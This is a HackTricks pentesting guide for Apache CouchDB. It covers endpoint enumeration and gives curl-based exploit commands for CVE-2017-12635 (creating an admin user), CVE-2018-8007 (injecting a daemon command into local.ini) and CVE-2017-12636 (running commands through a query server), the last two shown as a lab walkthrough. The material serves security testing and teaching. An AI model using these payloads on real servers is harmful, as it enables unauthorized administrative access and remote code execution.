5984-pentesting-couchdb.md (16164B)
1 --- 2 title: "5984,6984 - Pentesting CouchDB" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/5984-pentesting-couchdb.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/5984-pentesting-couchdb.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # 5984,6984 - Pentesting CouchDB 14 15 ## **Basic Information** 16 17 **CouchDB** is a document-oriented database that stores JSON documents whose fields can contain scalar values, lists, or nested objects. Each document has a unique **`_id`**, and each saved revision has a **`_rev`** value used for revision tracking and replication.<sup>[[6]](#references)</sup> 18 19 **Default ports:** 5984 (HTTP), 6984 (HTTPS) 20 21 ```text 22 PORT STATE SERVICE REASON 23 5984/tcp open unknown syn-ack 24 ``` 25 26 ## **Automatic Enumeration** 27 28 The following Nmap and Metasploit modules provide a quick first pass.<sup>[[1]](#references)</sup> 29 30 ```bash 31 nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP> 32 msf> use auxiliary/scanner/couchdb/couchdb_enum 33 ``` 34 35 ## Manual Enumeration 36 37 ### Banner 38 39 ```text 40 curl http://IP:5984/ 41 ``` 42 43 This sends a `GET` request to the CouchDB instance. The reply should resemble one of the following: 44 45 ```bash 46 {"couchdb":"Welcome","version":"0.10.1"} 47 {"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}} 48 ``` 49 50 > [!TIP] 51 > If requesting the CouchDB root returns `401 Unauthorized` with a response such as `{"error":"unauthorized","reason":"Authentication required."}`, you will need valid credentials before accessing the banner or other protected endpoints. 52 53 ### Info Enumeration 54 55 These endpoints accept **`GET`** requests and expose useful information. The official CouchDB API reference documents the complete endpoint set and response formats.<sup>[[6]](#references)</sup> 56 57 - **`/_active_tasks`** List of running tasks, including the task type, name, status and process ID. 58 - **`/_all_dbs`** Returns a list of all the databases in the CouchDB instance. 59 - **`/_cluster_setup`** Returns the status of the node or cluster, per the cluster setup wizard. 60 - **`/_db_updates`** Returns a list of all database events in the CouchDB instance. The existence of the `_global_changes` database is required to use this endpoint. 61 - **`/_membership`** Displays the nodes that are part of the cluster as `cluster_nodes`. The field `all_nodes` displays all nodes this node knows about, including the ones that are part of the cluster. 62 - **`/_scheduler/jobs`** List of replication jobs. Each job description will include source and target information, replication id, a history of recent event, and a few other things. 63 - **`/_scheduler/docs`** List of replication document states. Includes information about all the documents, even in `completed` and `failed` states. For each document it returns the document ID, the database, the replication ID, source and target, and other information. 64 - **`/_scheduler/docs/{replicator_db}`** 65 - **`/_scheduler/docs/{replicator_db}/{docid}`** 66 - **`/_node/{node-name}`** The `/_node/{node-name}` endpoint can be used to confirm the Erlang node name of the server that processes the request. This is most useful when accessing `/_node/_local` to retrieve this information. 67 - **`/_node/{node-name}/_stats`** The `_stats` resource returns a JSON object containing the statistics for the running server. The literal string `_local` serves as an alias for the local node name, so for all stats URLs, `{node-name}` may be replaced with `_local`, to interact with the local node’s statistics. 68 - **`/_node/{node-name}/_system`** Returns a JSON object containing system-level statistics for the running server. Use `_local` as `{node-name}` to query the current node. 69 - **`/_node/{node-name}/_restart`** 70 - **`/_up`** Confirms that the server is up, running, and ready to respond to requests. If [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) is `true` or `nolb`, the endpoint will return a 404 response. 71 - **`/_uuids`** Requests one or more Universally Unique Identifiers (UUIDs) from the CouchDB instance. 72 - **`/_reshard`** Returns counts of completed, failed, running, stopped, and total jobs, together with the cluster resharding state. 73 74 More interesting information can be extracted as explained here: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)<sup>[[2]](#references)</sup> 75 76 ### **Database List** 77 78 ```text 79 curl -X GET http://IP:5984/_all_dbs 80 ``` 81 82 If that request **responds with a 401 unauthorised**, then you need some **valid credentials** to access the database: 83 84 ```text 85 curl -X GET http://user:password@IP:5984/_all_dbs 86 ``` 87 88 In order to find valid Credentials you could **try to** [**bruteforce the service**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#couchdb). 89 90 This is an **example** of a couchdb **response** when you have **enough privileges** to list databases (It's just a list of dbs): 91 92 ```bash 93 ["_global_changes","_metadata","_replicator","_users","passwords","simpsons"] 94 ``` 95 96 ### Database Info 97 98 You can obtain some database info (like number of files and sizes) accessing the database name: 99 100 ```bash 101 curl http://IP:5984/<database> 102 curl http://localhost:5984/simpsons 103 #Example response: 104 {"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"} 105 ``` 106 107 ### **Document List** 108 109 List each entry inside a database 110 111 ```bash 112 curl -X GET http://IP:5984/{dbname}/_all_docs 113 curl http://localhost:5984/simpsons/_all_docs 114 #Example response: 115 {"total_rows":7,"offset":0,"rows":[ 116 {"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}}, 117 {"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}}, 118 {"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}}, 119 {"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}}, 120 {"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}}, 121 {"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}}, 122 {"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}} 123 ]} 124 ``` 125 126 ### **Read Document** 127 128 Read the content of a document inside a database: 129 130 ```bash 131 curl -X GET http://IP:5984/{dbname}/{id} 132 curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9 133 #Example response: 134 {"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"} 135 ``` 136 137 ## CouchDB Privilege Escalation (CVE-2017-12635) <sup>[[11]](#references)</sup> 138 139 In affected CouchDB versions, differences between the Erlang and JavaScript JSON parsers allow a request with duplicate `roles` keys to **create an administrative user**, here with credentials `hacktricks:hacktricks`.<sup>[[3]](#references)</sup> 140 141 ```bash 142 curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json" 143 ``` 144 145 ## CouchDB RCE 146 147 ### **Erlang Cookie Security Overview** <sup>[[4]](#references)</sup> 148 149 In cluster mode, CouchDB uses port `5984` for its clustered HTTP API and `5986` for node-local APIs. Erlang distribution also uses TCP port `4369` for the Erlang Port Mapper Daemon (EPMD), and cluster nodes must be able to communicate with one another.<sup>[[7]](#references)</sup> 150 151 A crucial security advisory is highlighted regarding port `4369`. If this port is made accessible over the Internet or any untrusted network, the system's security heavily relies on a unique identifier known as the "cookie." This cookie acts as a safeguard. For instance, in a given process list, the cookie named "monster" might be observed, indicating its operational role in the system's security framework. 152 153 ```text 154 www-data@canape:/$ ps aux | grep couchdb 155 root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb 156 root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb 157 homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b 158 ``` 159 160 For those interested in understanding how this "cookie" can be exploited for Remote Code Execution (RCE) within the context of Erlang systems, a dedicated section is available for further reading. It details the methodologies for leveraging Erlang cookies in unauthorized manners to achieve control over systems. You can [**explore the detailed guide on abusing Erlang cookies for RCE here**](/hacktricks/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd#erlang-cookie-rce). 161 162 ### **Exploiting CVE-2018-8007 through Modification of `local.ini`** <sup>[[4]](#references)</sup> 163 164 CVE-2018-8007 is a historical Apache CouchDB configuration-injection vulnerability. This demonstration requires an authenticated account permitted to alter node configuration and a deployment where the resulting `local.ini` change can be written. The target used for the walkthrough did not initially meet that file-permission prerequisite, so write access was deliberately granted for testing.<sup>[[5]](#references)</sup> 165 166 First, the environment is prepared by ensuring the `local.ini` file is writable, verified by listing the permissions: 167 168 ```bash 169 root@canape:/home/homer/etc# ls -l 170 -r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini 171 -rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini 172 -r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk 173 -r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args 174 ``` 175 176 To exploit the vulnerability, a curl command is executed, targeting the `cors/origins` configuration in `local.ini`. This injects a new origin along with additional commands under the `[os_daemons]` section, aiming to execute arbitrary code: 177 178 ```bash 179 www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf" 180 ``` 181 182 Subsequent verification shows the injected configuration in `local.ini`, contrasting it with a backup to highlight the changes: 183 184 ```bash 185 root@canape:/home/homer/etc# diff local.ini local.ini.bk 186 119,124d118 187 < [cors] 188 < origins = 0xdf 189 < [os_daemons] 190 < test_daemon = /usr/bin/touch /tmp/0xdf 191 ``` 192 193 Initially, the expected file (`/tmp/0xdf`) does not exist, indicating that the injected command has not been executed yet. Further investigation reveals that processes related to CouchDB are running, including one that could potentially execute the injected command: 194 195 ```bash 196 root@canape:/home/homer/bin# ps aux | grep couch 197 ``` 198 199 By terminating the identified CouchDB process and allowing the system to automatically restart it, the execution of the injected command is triggered, confirmed by the existence of the previously missing file: 200 201 ```bash 202 root@canape:/home/homer/etc# kill 711 203 root@canape:/home/homer/etc# ls /tmp/0xdf 204 /tmp/0xdf 205 ``` 206 207 This exploration confirms the viability of CVE-2018-8007 exploitation under specific conditions, notably the requirement for writable access to the `local.ini` file. The provided code examples and procedural steps offer a clear guide for replicating the exploit in a controlled environment. 208 209 ### **Exploring CVE-2017-12636 with Write Permissions on `local.ini`** <sup>[[4]](#references)</sup> 210 211 A vulnerability known as CVE-2017-12636 was explored, which enables code execution via the CouchDB process, although specific configurations may prevent its exploitation. Despite numerous Proof of Concept (POC) references available online, adjustments are necessary to exploit the vulnerability on CouchDB version 2, differing from the commonly targeted version 1.x. The initial steps involve verifying the CouchDB version and confirming the absence of the expected query servers path: 212 213 ```bash 214 curl http://localhost:5984 215 curl http://0xdf:df@localhost:5984/_config/query_servers/ 216 ``` 217 218 To accommodate CouchDB version 2.0, a new path is utilized: 219 220 ```bash 221 curl 'http://0xdf:df@localhost:5984/_membership' 222 curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers 223 ``` 224 225 Attempts to add and invoke a new query server were met with permission-related errors, as indicated by the following output: 226 227 ```bash 228 curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' 229 ``` 230 231 Further investigation revealed permission issues with the `local.ini` file, which was not writable. By modifying the file permissions with root or homer access, it became possible to proceed: 232 233 ```bash 234 cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b 235 chmod 666 /home/homer/etc/local.ini 236 ``` 237 238 Subsequent attempts to add the query server succeeded, as demonstrated by the lack of error messages in the response. The successful modification of the `local.ini` file was confirmed through file comparison: 239 240 ```bash 241 curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' 242 ``` 243 244 The process continued with the creation of a database and a document, followed by an attempt to execute code via a custom view mapping to the newly added query server: 245 246 ```bash 247 curl -X PUT 'http://0xdf:df@localhost:5984/df' 248 curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}' 249 curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' 250 ``` 251 252 A prior HackTricks contribution contains an alternative payload for the same CouchDB 2.x path.<sup>[[8]](#references)</sup> Additional PoCs are available from Vulhub and Exploit-DB:<sup>[[9]](#references)</sup><sup>[[10]](#references)</sup> 253 254 - Vulhub PoC exploit code 255 - Exploit-DB entry 44913 256 257 ## Shodan 258 259 - `port:5984 couchdb` 260 261 ## References 262 263 - [1] [LFF-IPS-P2: Vulnerability Analysis cheat sheet (bitvijays, archived)](https://web.archive.org/web/20240000000000id_/https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) 264 - [2] [CouchDB Cheat Sheet (LZone)](https://lzone.de/cheat-sheet/CouchDB) 265 - [3] [Remote Code Execution in CouchDB (justi.cz)](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html) 266 - [4] [HTB: Canape (0xdf)](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) 267 - [5] [Advisory: CVE-2018-8007 Apache CouchDB Remote Code Execution (MDSec)](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/) 268 - [6] [Apache CouchDB API Reference](https://docs.couchdb.org/en/stable/api/index.html) 269 - [7] [Apache CouchDB Cluster Setup](https://docs.couchdb.org/en/stable/setup/cluster.html#cluster-setup) 270 - [8] [HackTricks CouchDB CVE-2017-12636 alternative payload](https://github.com/carlospolop/hacktricks/commit/e505cc2b557610ef5cce09df6a14b10caf8f75a0) 271 - [9] [Vulhub CVE-2017-12636 PoC](https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py) 272 - [10] [Exploit-DB 44913: Apache CouchDB 2.1.0 Remote Code Execution](https://www.exploit-db.com/exploits/44913/) 273 - [11] [NVD: CVE-2017-12635](https://nvd.nist.gov/vuln/detail/CVE-2017-12635)